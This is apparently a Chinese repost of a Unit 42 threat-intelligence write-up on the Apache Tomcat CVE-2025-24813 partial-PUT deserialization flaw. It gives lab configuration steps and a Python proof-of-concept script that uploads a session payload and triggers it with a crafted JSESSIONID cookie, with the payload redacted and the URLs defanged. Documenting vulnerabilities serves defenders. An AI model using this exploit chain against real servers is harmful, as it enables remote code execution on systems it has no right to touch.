不赶趟的CVE-2025-24813漏洞验证
作者
-
Yiheng An, Jun Li, Qiang Liu, Haozhe Zhang, Qi Deng
参考资料
-
https://www.linkedin.com/posts/unit42_we-have-tested-cve-2025-24813-under-specific-activity-7306384143167168512-7-uj/ -
https://x.com/Unit42_Intel/status/1900618521303740709
原始参考资料
-
https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq -
https://nvd.nist.gov/vuln/detail/CVE-2025-24813 -
https://scrapco.de/blog/analysis-of-cve-2025-24813-apache-tomcat-path-equivalence-rce.html
受影响版本
-
Apache Tomcat 11.0.0-M1 至 11.0.2 -
Apache Tomcat 10.1.0-M1 至 10.1.34 -
Apache Tomcat 9.0.0.M1 至 9.0.98
说明
CVE-2025-24813 是最近公布的 Apache Tomcat 漏洞。Apache 是一个开源的网络服务器平台,而 Tomcat 是允许 Apache 网络服务器运行 Java servlets 的软件。
利用此漏洞包括两个步骤:
-
任意文件写入 -
不安全的反序列化
任意文件写入
当 Tomcat 中启用会话持久性时,服务器将在关闭前序列化所有活动用户会话。重新启动时,Tomcat 将反序列化这些会话,允许用户会话保持活动状态,而用户不会察觉服务器重新启动。
然而,如果在 Tomcat 中启用了 HTTP PUT 方法,通过 HTTP PUT 请求上传的文件可能会被缓存在存储序列化会话数据的同一目录中。在易受攻击的网络服务器上,攻击者可能能够将恶意文件保存到序列化会话数据目录。
不安全的反序列化
将恶意文件保存到序列化会话数据目录后,攻击者可以使用精心制作的 cookie 来"唤醒"会话。这可能会触发 Tomcat 反序列化恶意构造的会话文件,从而通过与 CVE-2025-24813 相关的反序列化漏洞进行利用。
测试漏洞利用
我们成功地在运行过时版本 Tomcat 和过时版本 Java 的 Apache 网络服务器上测试了 CVE-2025-24813 的漏洞利用。部分信息已经发布在 Lingua Diabolis。
注意:以下所有 URL 均已去毒。
测试环境
-
Ubuntu 24 Server -
Apache-Tomcat 9.0.90 -
hxxps[:]//archive.apache[.]org/dist/tomcat/tomcat-9/v9.0.90/bin/apache-tomcat-9.0.90.zip -
Java 8.0.442-zulu -
一些依赖项 -
hxxps[:]//repo1.maven[.]org/maven2/commons-logging/commons-logging/1.2/commons-logging-1.2.jar -
htxxps[:]//repo1.maven[.]org/maven2/commons-beanutils/commons-beanutils/1.9.4/commons-beanutils-1.9.4.jar
建立易受攻击的 Tomcat 配置
-
启用 PUT
编辑
tomcat/conf/web.xml
在default
servlet 名称部分下添加readonly
参数并将其设置为false
。示例如下,代码的末尾处。<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet> -
启用会话持久性
编辑
/tomcat/conf/content.xml
并添加以下设置。<ManagerclassName="org.apache.catalina.session.PersistentManager">
<StoreclassName="org.apache.catalina.session.FileStore" />
</Manager> -
使用以下命令,在
/tomcat/webapps/ROOT/WEB-INF/lib
创建一个目录,并在其中放置两个过时的依赖项。mkdir ./tomcat/webapps/ROOT/WEB-INF/lib && cd ./tomcat/webapps/ROOT/WEB-INF/lib
wget hxxps[:]//repo1.maven[.]org/maven2/commons-logging/commons-logging/1.2/commons-logging-1.2.jar
wget hxxps[:]//repo1.maven[.]org/maven2/commons-beanutils/commons-beanutils/1.9.4/commons-beanutils-1.9.4.jar
漏洞利用
我们使用 Java Chains 创建了一个特制的会话文件,并将其发送到临时易受攻击的运行 Apache Tomcat 的网络服务器 www.wiresharkworkshop[.]online
。以下是用于此目的的 Python 脚本示例。恶意会话文件名为 gopan.session
,但可以更改为任何名称。
import requests
import base64
import os
TARGET_IP = "hxxp[:]//www.wiresharkworkshop[.]online:8080/"
# b64_encoded_payload = "****[information redacted]****"
output_file_path = "decoded_chain.bin"
decoded_content = base64.b64decode(b64_encoded_payload)
with open(output_file_path, "wb") as f:
f.write(decoded_content)
put_url = f"{TARGET_IP}/gopan.session"
put_headers = {"Content-Range": "bytes 0-5/100"}
with open(output_file_path, "rb") as f:
put_response = requests.put(put_url, data=f, headers=put_headers)
os.remove(output_file_path)
get_url = f"{TARGET_IP}/"
get_headers = {"Cookie": "JSESSIONID=.gopan"}
get_response = requests.get(get_url, headers=get_headers)
文章原文:https://github.com/PaloAltoNetworks/Unit42-timely-threat-intel/blob/main/2025-03-14-Testing-CVE-2025-24813.md
其他大佬的视频讲解:https://www.bilibili.com/video/BV14dQjYcEc5/
其他大佬的视频讲解:https://www.bilibili.com/video/BV1e7QPYBEBU
原文始发于微信公众号(独眼情报):不赶趟的 tomcat:CVE-2025-24813漏洞验证
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论